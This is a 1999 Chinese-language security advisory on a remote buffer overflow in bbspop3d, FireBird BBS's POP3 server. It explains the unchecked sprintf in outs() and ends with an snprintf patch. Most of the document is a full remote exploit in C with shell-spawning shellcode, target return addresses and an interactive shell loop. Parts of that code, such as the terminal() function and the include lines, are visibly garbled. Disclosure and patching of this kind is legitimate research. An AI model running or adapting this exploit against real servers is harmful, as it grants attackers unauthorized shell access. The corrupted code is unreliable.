首页 -> 安全研究

安全研究

绿盟月刊
绿盟安全月刊->第3期->技术专题
期刊号: 类型: 关键词:
国人发现火鸟BBS漏洞

作者:Warning3
整理:warning3
主页:http://www.nsfocus.com
日期:1999-11-15

程序名:
   
   BBSPOP3D
   Revision [29 Oct 1997] By Peng-Piaw Foong, ppfoong@csie.ncu.edu.tw
   
概述:   

  BBSpop3d是FireBird BBS中带的一个POP3 server,用来从BBS上pop3取信.当然这对于BBS用户
  是非常方便的.但不幸的是,它含有缓冲区溢出的漏洞,可能导致攻击者远程执行任意命令.
  由于bbspop3d执行时在fork出的子进程中会setuid到BBSUID(通常是9999),setgid到BBSGID(
  通常是99),所以远程攻击者并不能直接获取root权限.但至少给了攻击者以bbs身份进入系统的机会.
  由于bbspop3d并没有预编译好的包,所以在不同的机器/系统上,返回地址也不同,攻击者可能需要
  猜测返回地址来不断尝试.由于bbspop3d在接收连接要求时会自动fork一个子进程来处理,即使该子
  进程当掉,bbspop3d仍然可以继续接收新的连接,这也给了攻击者"暴力"猜测返回地址的机会,而且这
  些不会被syslogd记录.尽管bbspop3d有自己的记录文件,但有多少管理员会经常查看它呢?:-(

细节:

  这个溢出漏洞在outs()函数中,它用来将字符串写入socket描述符:
   ....
   void
   outs(str)
   char *str;
   {
    char sendbuf[BUFSIZE];                 // --->定义一个1024字节的缓冲区

    (void)bzero(sendbuf, sizeof(sendbuf));
    (void)sprintf(sendbuf, "%s\r\n", str);// --->直接将str的内容拷贝到sendbuf中.
    (void)write(sock, sendbuf, strlen(sendbuf));
   }
   .....
因此,所有调用此函数的地方都有潜在的安全问题.
我发现至少有两处存在问题:

1.在main()函数中
   .......
while (fgets(inbuf, sizeof(inbuf), cfp)!=0) {  // ---->从cfp中读数据到inbuf中(最大1024)
            
       idletime = 0;
               
       msg = inbuf;                             // ---->msg指向inbuf
   ........
       cmd = nextwordlower(&msg);               // ---->将msg中所有的大写字符变成小写
   ........                                             注意这要求你的shellcode中不能
                                                        含有0x41和0x5a之间的字符

    if (str==NULL)
       {
         // --->加上"-ERR..."这22个字符后就可能导致溢出,22个字节好象小了点,不过也足够了.;)
         sprintf(genbuf, "-ERR Unknown command: \"%s\".", cmd);
         //--->若genbuf的值超过1024,那么outs返回的时候就会导致溢出代码被执行...                                   
         outs(genbuf);             
         
       }

2.在User()函数中.
....
   if (strstr(cmd, ".bbs") == NULL) {
     sprintf(genbuf, "-ERR Unknown user: \"%s\".", cmd);
     outs(genbuf);
......      
  这里的问题和1中的一样,就不再重复了.
  
测试程序:
  
   这里提供的程序仅供在自己的机器上测试之用,请不要用于非法目的!  
  
/*
* BBSpop3d remote exploit  for x86 Linux
* It will give you a bbs shell(mostly uid=9999,gid=99)
* Greets to: tb,bingo,condor...
* Some codes are stole from Herbert Rosmanith's qpopper exploit,thanks herp.;-)
* It is tested in Slackware 3.6 .RET=0xbffff5d3+[0-877]
*                 Redhat 5.2     RET=0xbffff9ab+[0-910]
*                 Redhat 6.0     RET=0xbffff8eb+[0-910]
* Maybe you should change the RET/OFFSET/ALIGNMENT to make it work for your bbspop3d.
*
* Warning:   This program is for educational purpose only.
*            USE IT AT YOUR OWN RISK!
*                               by warning3  
*                                          1999/7/18
*/
    #include        
    #include        
    #include        
    #include        
    #include        
    #include        
    #include        
    #include        

    #define RET                     0xbffff9ab
    #define OFFSET                            0
    #define ALIGNMENT                         1
    #define BUFFSIZE                       1024
    #define RANGE                 23
    #define NOP                            0x90
    #define PORT                110
/*

At first we copy the no.4 file descriptor(our socket fd)  to standard in/out/err,
so we can type commands and see the right or error results.
                          --- warning3

        __asm__("
        
        xorl  %eax,%eax   # 2 bytes  eax=0                  dup2(4,0)
        movb  $0x3f,%al   # 2 bytes  eax=63  dup2()'s syscall() number
        xorl  %ebx,%ebx   # 2 bytes  ebx=0
        movb  $0x4,%bl    # 2 bytes  ebx=4   oldfd  
        xorl  %ecx,%ecx   # 2 bytes  ecx=0   newfd
        int   $0x80       # 2 bytes  syscall(63) (dup socket fd to stdin)

        xorl  %eax,%eax   # 2 bytes  eax=0                  dup2(4,1)
        movb  $0x3f,%al   # 2 bytes  eax=63
        xorl  %ebx,%ebx   # 2 bytes  ebx=0
        movb  $0x4,%bl    # 2 bytes  ebx=4   oldfd
        xorl  %ecx,%ecx   # 2 bytes  ecx=0   
        movb  $0x1,%cl    # 2 bytes  ecx=1   newfd
        int   $0x80       # 2 bytes  syscall(63) (dup socket fd to stdout)

        xorl  %eax,%eax   # 2 bytes  eax=0            dup2(4,2)
        movb  $0x3f,%al   # 2 bytes  eax=63
        xorl  %ebx,%ebx   # 2 bytes  ebx=0
        movb  $0x4,%bl    # 2 bytes  ebx=4   oldfd
        xorl  %ecx,%ecx   # 2 bytes  ecx=0
        movb  $0x2,%cl    # 2 bytes  ecx=2   newfd
        int   $0x80       # 2 bytes  syscall(63) (dup socket fd to stderr)

        jmp   call
start:  popl  %esi        # standard shellcode from aleph1
        movl  %esi,0x8(%esi) # standard shellcode from Alph1.
        xorl  %ebx,%ebx
        movb  %ebx,0x7(%esi)
        movl  %ebx,0xc(%esi)
        leal  0x8(%esi),%ebx #          avoid the char from 0x41 - 0x5a('A'-'Z')
        movl  %ebx,%ecx      # 2 bytes  so add one instruct.
        leal  0xc(%esi),%ebx #          same as above.
        movl  %ebx,%edx      # 2 bytes
        xorl  %eax,%eax
        movb  $0xb,%al
        movl  %esi,%ebx
        int   $0x80
        xorl  %ebx,%ebx
        movl  %ebx,%eax
        inc   %eax
        int   $0x80
call:   call  start
        .string \"/bin/sh\"");
*/
char shellcode[] =
"\x31\xc0\xb0\x3f\x31\xdb\xb3\x04\x31\xc9\xcd\x80"         /* dup2(4,0) */
"\x31\xc0\xb0\x3f\x31\xdb\xb3\x04\x31\xc9\xb1\x01\xcd\x80" /* dup2(4,1) */
"\x31\xc0\xb0\x3f\x31\xdb\xb3\x04\x31\xc9\xb1\x02\xcd\x80" /* dup2(4,2) */
"\xeb\x25\x5e\x89\x76\x08\x31\xdb\x88\x5e\x07\x89\x5e\x0c\x8d\x5e" /* spawn shell */
"\x08\x89\xd9\x8d\x5e\x0c\x89\xda\x31\xc0\xb0\x0b\x89\xf3\xcd\x80"
"\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd6\xff\xff\xff\x2f\x62\x69\x6e"
"\x2f\x73\x68\x00\xc9\xc3\x90\xda\x31\xc0\xb0\x0b\x89\xf3\xcd\x80"
"\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd6\xff\xff\xff"
"/bin/sh";

    void die(char *s) {
            if (errno) perror(s);
            else fprintf(stderr,"%s\n",s);
            exit(-1);
    }


    int resolv(char *host,long *ipaddr) {
            if (isdigit(host[0])) {
                    *ipaddr=inet_addr(host);
                    if (*ipaddr==-1) return -1;
            }
            else {
                    struct hostent *hp;

                    if ((hp=gethostbyname(host))==NULL) {
                            fprintf(stderr,"tc: %s: unknown host\n");
                            exit(-1);
                    }
                    *ipaddr=*(unsigned long *)hp->h_addr;
            }
            return 0;
    }

    int connect_to(char *hostname,short port) {
    struct sockaddr_in s_in;
    int s;

            s=socket(PF_INET,SOCK_STREAM,0);
            if (s==-1) die("socket");

            if (resolv(hostname,(long *)&s_in.sin_addr.s_addr)==-1)
                    die("unknown host");
            s_in.sin_family=AF_INET;
            s_in.sin_port=htons(port);

            if (connect(s,(struct sockaddr *)&s_in,sizeof(s_in))==-1)
                    die("connect");

            return s;
    }

    void socket_read(int s,char *buf,int len) {
    int i;
            switch(i=read(s,buf,len)) {
            case -1: die("unexpected EOF");
            case  0: die("EOF");
            default:
                    buf[i]=0;
                    break;
            }
    }
    void terminal(int s) {
    char buf[1024];
    fd_set rfds;
    fd_set fds;
    int i;
    sprintf (buf, "trap '' SIGALRM SIGTRAP\n\
      PATH=/usr/local/bin:/bin:/usr/bin:/sbin:/usr/sbin;export PATH\n\
      /bin/uname -a;/usr/bin/id\n"<NSIG;i++) signal(i,SIG_IGN);
            FD_ZERO(&fds);
            FD_SET(0,&fds);
            FD_SET(s,&fds);
            for (;;) {
                    memcpy(&rfds,&fds,sizeof(fds));
                    i=select(s+1,&rfds,NULL,NULL,NULL);
                    if (i==-1) die("select");
                    if (i==0) die("session closed");
                    if (FD_ISSET(s,&rfds)) {
                            if ((i=read(s,buf,sizeof(buf)))>);
      write (s, buf, strlen(buf));     

            for (i=0;i1)
                                    die("session closed");
                            write(1,buf,i);
                    }
                    if (FD_ISSET(0,&rfds)) {
                            if ((i=read(0,buf,sizeof(buf)))<1)
                                    die("session closed");
                            write(s,buf,i);
                    }
            }
    }

    void main(int argc,char *argv[]) {
    char buf[BUFFSIZE],*ptr;
    long addr,*addr_ptr;
    unsigned long sp;
    int offset=OFFSET,align=ALIGNMENT;
    int s,i;

           printf("BBSpop3d exploit for x86 linux - Jul 1999 \n");
           printf("                                \n");
            if(argc==3) offset=atoi(argv[2]);
            if(argc==4) align=atoi(argv[3]);
            if (argc<2||argc>4) {
                 printf("Usage: %s hostname  \n",argv[0]);
                 exit(0);
               }

            s=connect_to(argv[1],PORT);     
            socket_read(s,buf,sizeof(buf));

            sp=RET;
            addr=(long)(sp+offset);   
            ptr=buf;
            addr_ptr=(long *)(ptr+align);
            for(i=align;i<(BUFFSIZE-4);i+=4)
                 *addr_ptr++=addr;
            memset(ptr,NOP,BUFFSIZE-RANGE-strlen(shellcode));
            ptr=buf+BUFFSIZE-RANGE-strlen(shellcode);
            memcpy(ptr,shellcode,strlen(shellcode));
            buf[BUFFSIZE-1]='\0';
            printf("Using RET:0x%x  OFFSET:%d\n",addr,offset);
            printf("Press ENTER to send overflow data\n");
            getchar();
            write(s,buf,sizeof(buf));
            socket_read(s,buf,sizeof(buf));
            terminal(s);
           
    }

解决办法:
   
    只要将outs()中的sprintf用snprintf代替就可以了.
    [warning3@welcometohell local_utl]$ diff diff bbspop3d.c bbspop3d_warning3.c
145c145
<   (void)sprintf(sendbuf, "%s\r\n", str);
---
>   (void)snprintf(sendbuf,BUFSIZE, "%s\r\n", str);
版权所有,未经许可,不得转载